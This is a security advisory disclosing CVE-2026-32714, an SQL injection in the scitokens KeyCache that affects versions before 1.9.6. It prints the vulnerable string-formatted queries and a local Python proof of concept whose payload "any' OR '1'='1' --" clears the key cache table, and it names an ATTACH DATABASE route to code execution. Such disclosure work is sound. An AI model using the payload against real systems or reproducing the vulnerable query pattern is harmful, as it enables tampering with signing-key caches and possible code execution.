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SciTokens is vulnerable to SQL Injection in KeyCache

Critical severity GitHub Reviewed Published Mar 30, 2026 in scitokens/scitokens • Updated Mar 31, 2026

Package

pip scitokens (pip)

Affected versions

< 1.9.6

Patched versions

1.9.6

Description

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
    print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
    
    # We will demonstrate the vulnerability by manually executing the kind of query
    # that WAS present in the code, showing how it can be exploited.
    
    # Setup temporary database
    fd, db_path = tempfile.mkstemp()
    os.close(fd)
    
    conn = sqlite3.connect(db_path)
    curs = conn.cursor()
    curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
    
    # Add legitimate entries
    curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
    curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
    conn.commit()
    
    curs.execute("SELECT count(*) FROM keycache")
    print(f"Count before injection: {curs.fetchone()[0]}")
    
    # MALICIOUS INPUT
    # The original code was: 
    # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
    
    malicious_issuer = "any' OR '1'='1' --"
    malicious_kid = "irrelevant"
    
    print(f"Simulating injection with issuer: {malicious_issuer}")
    
    # This simulates what the VULNERABLE code did:
    query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
    print(f"Generated query: {query}")
    
    curs.execute(query)
    conn.commit()
    
    curs.execute("SELECT count(*) FROM keycache")
    count = curs.fetchone()[0]
    print(f"Count after injection: {count}")
    
    if count == 0:
        print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
    
    conn.close()
    os.remove(db_path)

if __name__ == "__main__":
    poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

  1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
  2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
  3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

References

@djw8605 djw8605 published to scitokens/scitokens Mar 30, 2026
Published by the National Vulnerability Database Mar 31, 2026
Published to the GitHub Advisory Database Mar 31, 2026
Reviewed Mar 31, 2026
Last updated Mar 31, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(4th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

CVE-2026-32714

GHSA ID

GHSA-rh5m-2482-966c

Source code

Credits

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